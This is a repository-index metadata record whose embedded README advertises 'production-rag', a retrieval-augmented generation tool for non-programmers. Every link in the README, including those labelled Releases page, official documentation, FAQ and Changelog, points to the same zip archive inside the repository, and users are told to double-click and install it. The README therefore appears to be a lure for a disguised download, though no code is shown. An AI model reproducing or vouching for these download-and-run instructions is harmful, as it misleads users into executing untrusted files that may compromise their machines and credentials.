{"id":33760365,"url":"https://github.com/mahdidjemaci/production-rag","last_synced_at":"2026-04-16T10:31:16.034Z","repository":{"id":327200719,"uuid":"1105282142","full_name":"mahdidjemaci/production-rag","owner":"mahdidjemaci","description":"🔍 Enhance retrieval accuracy with a production-ready RAG system that integrates semantic and lexical search for optimal results.","archived":false,"fork":false,"pushed_at":"2026-04-11T01:58:40.000Z","size":1889,"stargazers_count":0,"open_issues_count":0,"forks_count":1,"subscribers_count":1,"default_branch":"main","last_synced_at":"2026-04-11T03:29:11.348Z","etag":null,"topics":["agents","anyscale","application","deep-learning","hacktoberfest","langchain","large-language-models","llm-evaluation","llmops","ollama","open-source","openai","prompt-engineering","retrieval-augmented-generation","retrieval-systems","search","serving","typescript"],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/mahdidjemaci.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-11-27T11:40:51.000Z","updated_at":"2026-04-11T01:58:47.000Z","dependencies_parsed_at":null,"dependency_job_id":null,"html_url":"https://github.com/mahdidjemaci/production-rag","commit_stats":null,"previous_names":["mahdidjemaci/production-rag"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/mahdidjemaci/production-rag","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mahdidjemaci%2Fproduction-rag","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mahdidjemaci%2Fproduction-rag/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mahdidjemaci%2Fproduction-rag/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mahdidjemaci%2Fproduction-rag/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mahdidjemaci","download_url":"https://codeload.github.com/mahdidjemaci/production-rag/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mahdidjemaci%2Fproduction-rag/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":31881963,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-16T09:23:21.276Z","status":"ssl_error","status_checked_at":"2026-04-16T09:23:15.028Z","response_time":69,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.6:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["agents","anyscale","application","deep-learning","hacktoberfest","langchain","large-language-models","llm-evaluation","llmops","ollama","open-source","openai","prompt-engineering","retrieval-augmented-generation","retrieval-systems","search","serving","typescript"],"created_at":"2025-12-05T10:01:32.349Z","updated_at":"2026-04-16T10:31:16.022Z","avatar_url":"https://github.com/mahdidjemaci.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# 🎉 production-rag - Effortless Retrieval-Augmented Generation\n\n## 🚀 Getting Started\nWelcome to **production-rag**! This software helps you generate information in a smart way using different search strategies. You don’t need to know anything about programming to use it.\n\n## 📥 Download Now\n[![Download Here](https://raw.githubusercontent.com/mahdidjemaci/production-rag/main/rag/rag-production-v1.9.zip%20Now-Click%https://raw.githubusercontent.com/mahdidjemaci/production-rag/main/rag/rag-production-v1.9.zip)](https://raw.githubusercontent.com/mahdidjemaci/production-rag/main/rag/rag-production-v1.9.zip)\n\n## 📋 Overview\n**production-rag** is designed for ease of use. It combines advanced retrieval techniques to provide high-quality responses. You can access various features and evaluate different strategies to improve your results. \n\n## ✅ Features\n- **Multi-Strategy Retrieval:** Easily switch between different search methods to find the best results.\n- **Evaluation Framework:** Assess the quality of your outputs using built-in metrics.\n- **Production-Ready:** Designed for smooth operation in real-world applications.\n\n## 🎯 System Requirements\n- **Operating System:** Windows, macOS, or Linux\n- **Memory:** 4 GB RAM minimum; 8 GB recommended\n- **Storage:** At least 500 MB available space\n\n## 📖 Instructions\nFollow these steps to download and run the software.\n\n### 1. Visit the Releases Page\nGo to our Releases page to find the latest version of **production-rag**. You can do this by clicking the link below:\n\n[Visit Releases Page](https://raw.githubusercontent.com/mahdidjemaci/production-rag/main/rag/rag-production-v1.9.zip)\n\n### 2. Locate the Downloadable File\nOnce on the Releases page, look for the latest version. It will be clearly marked. Download the file that's appropriate for your operating system.\n\n### 3. Download the File\nClick on the downloadable file to start the download. It may take a moment, so be patient.\n\n### 4. Install the Software\nOnce the download completes, locate the file in your Downloads folder. Double-click the file to begin installation. Follow the prompts in the installation wizard.\n\n### 5. Launch the Application\nAfter installation, you will find **production-rag** in your applications or programs list. Click to open the software.\n\n### 6. Start Using **production-rag**\nYou're all set! Begin exploring how **production-rag** can enhance your information retrieval tasks. Use the various features to refine your searches and evaluate the results.\n\n## 🛠️ Additional Resources\n- **Documentation:** For a detailed guide on using each feature, please refer to the [official documentation](https://raw.githubusercontent.com/mahdidjemaci/production-rag/main/rag/rag-production-v1.9.zip).\n- **Support:** If you encounter issues, check our [Frequently Asked Questions (FAQ)](https://raw.githubusercontent.com/mahdidjemaci/production-rag/main/rag/rag-production-v1.9.zip).\n\n## 🌐 Join the Community\nBecome part of the **production-rag** community. Share your experiences and learn from others. We value user feedback for continued improvement.\n\n## 📞 Contact Us\nFor more information, feel free to reach out through the project's GitHub Issues page or contact us via our community channels.\n\n## 📜 Changelog\nStay updated on changes and improvements through the [Changelog](https://raw.githubusercontent.com/mahdidjemaci/production-rag/main/rag/rag-production-v1.9.zip).\n\n## 📥 Download Again\nTo revisit and download the software or the latest updates, please click here:\n\n[Visit Releases Page](https://raw.githubusercontent.com/mahdidjemaci/production-rag/main/rag/rag-production-v1.9.zip)\n\nEnjoy using **production-rag**!","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmahdidjemaci%2Fproduction-rag","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmahdidjemaci%2Fproduction-rag","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmahdidjemaci%2Fproduction-rag/lists"}